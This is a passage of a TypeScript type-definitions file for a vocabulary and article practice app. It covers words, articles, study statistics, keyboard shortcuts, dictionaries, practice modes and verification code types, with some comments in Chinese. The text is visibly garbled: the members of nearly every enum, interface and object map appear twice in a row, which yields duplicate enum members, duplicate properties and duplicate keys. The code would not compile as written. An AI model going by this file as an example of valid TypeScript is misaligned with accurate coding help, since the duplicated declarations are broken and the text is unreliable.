simple = 'simple',
wrong = 'wrong',
known = 'known',
word = 'word',
article = 'article',
collect = 'collect',
simple = 'simple',
wrong = 'wrong',
known = 'known',
word = 'word',
article = 'article',
}
export interface ArticleWord extends Word {
nextSpace: boolean,
symbolPosition: 'start' | 'end' | '',
input: string
type: PracticeArticleWordType
nextSpace: boolean,
symbolPosition: 'start' | 'end' | '',
input: string
type: PracticeArticleWordType
}
export interface Sentence {
text: string,
translate: string,
words: ArticleWord[],
audioPosition: number[]
text: string,
translate: string,
words: ArticleWord[],
audioPosition: number[]
}
export interface Article {
id?: number,
title: string,
titleTranslate: string,
text: string,
textTranslate: string,
newWords: Word[],
sections: Sentence[][],
audioSrc: string,
audioFileId: string,
lrcPosition: number[][],
nameList: string[],
questions: {
stem: string,
options: string[],
correctAnswer: string[],
explanation: string
}[]
id?: number,
title: string,
titleTranslate: string,
text: string,
textTranslate: string,
newWords: Word[],
sections: Sentence[][],
audioSrc: string,
audioFileId: string,
lrcPosition: number[][],
nameList: string[],
questions: {
stem: string,
options: string[],
correctAnswer: string[],
explanation: string
}[]
}
export interface Statistics {
startDate: number,//开始日期
spend: number,//花费时间
total: number//单词数量
new: number//新学单词数量
review: number//复习单词数量
wrong: number//错误数
startDate: number,//开始日期
spend: number,//花费时间
total: number//单词数量
new: number//新学单词数量
review: number//复习单词数量
wrong: number//错误数
}
export enum Sort {
normal = 0,
random = 1,
reverse = 2
normal = 0,
random = 1,
reverse = 2
}
export enum ShortcutKey {
ShowWord = 'ShowWord',
EditArticle = 'EditArticle',
Next = 'Next',
Previous = 'Previous',
ToggleSimple = 'ToggleSimple',
ToggleCollect = 'ToggleCollect',
NextChapter = 'NextChapter',
PreviousChapter = 'PreviousChapter',
RepeatChapter = 'RepeatChapter',
DictationChapter = 'DictationChapter',
PlayWordPronunciation = 'PlayWordPronunciation',
ToggleShowTranslate = 'ToggleShowTranslate',
ToggleDictation = 'ToggleDictation',
ToggleTheme = 'ToggleTheme',
ToggleConciseMode = 'ToggleConciseMode',
TogglePanel = 'TogglePanel',
RandomWrite = 'RandomWrite',
NextRandomWrite = 'NextRandomWrite',
KnowWord = 'KnowWord',
UnknownWord = 'UnknownWord',
ShowWord = 'ShowWord',
EditArticle = 'EditArticle',
Next = 'Next',
Previous = 'Previous',
ToggleSimple = 'ToggleSimple',
ToggleCollect = 'ToggleCollect',
NextChapter = 'NextChapter',
PreviousChapter = 'PreviousChapter',
RepeatChapter = 'RepeatChapter',
DictationChapter = 'DictationChapter',
PlayWordPronunciation = 'PlayWordPronunciation',
ToggleShowTranslate = 'ToggleShowTranslate',
ToggleDictation = 'ToggleDictation',
ToggleTheme = 'ToggleTheme',
ToggleConciseMode = 'ToggleConciseMode',
TogglePanel = 'TogglePanel',
RandomWrite = 'RandomWrite',
NextRandomWrite = 'NextRandomWrite',
KnowWord = 'KnowWord',
UnknownWord = 'UnknownWord',
}
export const DefaultShortcutKeyMap = {
[ShortcutKey.EditArticle]: 'Ctrl+E',
[ShortcutKey.ShowWord]: 'Escape',
[ShortcutKey.Previous]: 'Alt+⬅',
[ShortcutKey.Next]: 'Tab',
[ShortcutKey.ToggleSimple]: '`',
[ShortcutKey.ToggleCollect]: 'Enter',
[ShortcutKey.PreviousChapter]: 'Ctrl+⬅',
[ShortcutKey.NextChapter]: 'Ctrl+➡',
[ShortcutKey.RepeatChapter]: 'Ctrl+Enter',
[ShortcutKey.DictationChapter]: 'Alt+Enter',
[ShortcutKey.PlayWordPronunciation]: 'Ctrl+P',
[ShortcutKey.ToggleShowTranslate]: 'Ctrl+Z',
[ShortcutKey.ToggleDictation]: 'Ctrl+I',
[ShortcutKey.ToggleTheme]: 'Ctrl+Q',
[ShortcutKey.ToggleConciseMode]: 'Ctrl+M',
[ShortcutKey.TogglePanel]: 'Ctrl+L',
[ShortcutKey.RandomWrite]: 'Ctrl+R',
[ShortcutKey.NextRandomWrite]: 'Ctrl+Shift+R',
[ShortcutKey.KnowWord]: '1',
[ShortcutKey.UnknownWord]: '2',
[ShortcutKey.EditArticle]: 'Ctrl+E',
[ShortcutKey.ShowWord]: 'Escape',
[ShortcutKey.Previous]: 'Alt+⬅',
[ShortcutKey.Next]: 'Tab',
[ShortcutKey.ToggleSimple]: '`',
[ShortcutKey.ToggleCollect]: 'Enter',
[ShortcutKey.PreviousChapter]: 'Ctrl+⬅',
[ShortcutKey.NextChapter]: 'Ctrl+➡',
[ShortcutKey.RepeatChapter]: 'Ctrl+Enter',
[ShortcutKey.DictationChapter]: 'Alt+Enter',
[ShortcutKey.PlayWordPronunciation]: 'Ctrl+P',
[ShortcutKey.ToggleShowTranslate]: 'Ctrl+Z',
[ShortcutKey.ToggleDictation]: 'Ctrl+I',
[ShortcutKey.ToggleTheme]: 'Ctrl+Q',
[ShortcutKey.ToggleConciseMode]: 'Ctrl+M',
[ShortcutKey.TogglePanel]: 'Ctrl+L',
[ShortcutKey.RandomWrite]: 'Ctrl+R',
[ShortcutKey.NextRandomWrite]: 'Ctrl+Shift+R',
[ShortcutKey.KnowWord]: '1',
[ShortcutKey.UnknownWord]: '2',
}
export enum TranslateEngine {
Baidu = 0,
Baidu = 0,
}
export type DictResource = {
id: string
name: string
description: string
url: string
length: number
category: string
tags: string[]
translateLanguage: TranslateLanguageType
//todo 可以考虑删除了
type?: DictType
version?: number
language: LanguageType
id: string
name: string
description: string
url: string
length: number
category: string
tags: string[]
translateLanguage: TranslateLanguageType
//todo 可以考虑删除了
type?: DictType
version?: number
language: LanguageType
}
export interface Dict extends DictResource {
lastLearnIndex: number,
perDayStudyNumber: number,
words: Word[],
articles: Article[],
statistics: Statistics[],
custom: boolean,//是否是自定义词典
complete: boolean,//是否学习完成学完了设为true然后lastLearnIndex重置
//后端字段
en_name?: string
createdBy?: string
category_id?: number
is_default?: boolean
update?: boolean
cover?: string
sync?: boolean
lastLearnIndex: number,
perDayStudyNumber: number,
words: Word[],
articles: Article[],
statistics: Statistics[],
custom: boolean,//是否是自定义词典
complete: boolean,//是否学习完成学完了设为true然后lastLearnIndex重置
//后端字段
en_name?: string
createdBy?: string
category_id?: number
is_default?: boolean
update?: boolean
cover?: string
sync?: boolean
userDictId?: number
}
export interface ArticleItem {
item: Article,
index: number
item: Article,
index: number
}
export const SlideType = {
HORIZONTAL: 0,
VERTICAL: 1,
HORIZONTAL: 0,
VERTICAL: 1,
}
export interface PracticeData {
index: number,
words: Word[],
wrongWords: Word[],
excludeWords: string[],
index: number,
words: Word[],
wrongWords: Word[],
excludeWords: string[],
}
export interface TaskWords {
new: Word[],
review: Word[],
write: Word[],
shuffle: Word[],
new: Word[],
review: Word[],
write: Word[],
shuffle: Word[],
}
export class DictId {
static wordCollect = 'wordCollect'
static wordWrong = 'wordWrong'
static wordKnown = 'wordKnown'
static articleCollect = 'articleCollect'
static wordCollect = 'wordCollect'
static wordWrong = 'wordWrong'
static wordKnown = 'wordKnown'
static articleCollect = 'articleCollect'
}
export enum PracticeArticleWordType {
Symbol,
Number,
Word
Symbol,
Number,
Word
}
//练习模式
export enum WordPracticeMode {
System = 0,
Free = 1
System = 0,
Free = 1
}
//练习类型
export enum WordPracticeType {
FollowWrite,//跟写
Spell,
Identify,
Listen,
Dictation
FollowWrite,//跟写
Spell,
Identify,
Listen,
Dictation
}
export enum CodeType {
Login = 0,
Register = 1,
ResetPwd = 2,
ChangeEmail = 3,
ChangePhoneNew = 4,
ChangePhoneOld = 5
Login = 0,
Register = 1,
ResetPwd = 2,
ChangeEmail = 3,
ChangePhoneNew = 4,
ChangePhoneOld = 5
}
export enum ImportStatus {
Idle = 0,
Success = 1,
Fail = 2
Idle = 0,
Success = 1,
Fail = 2
}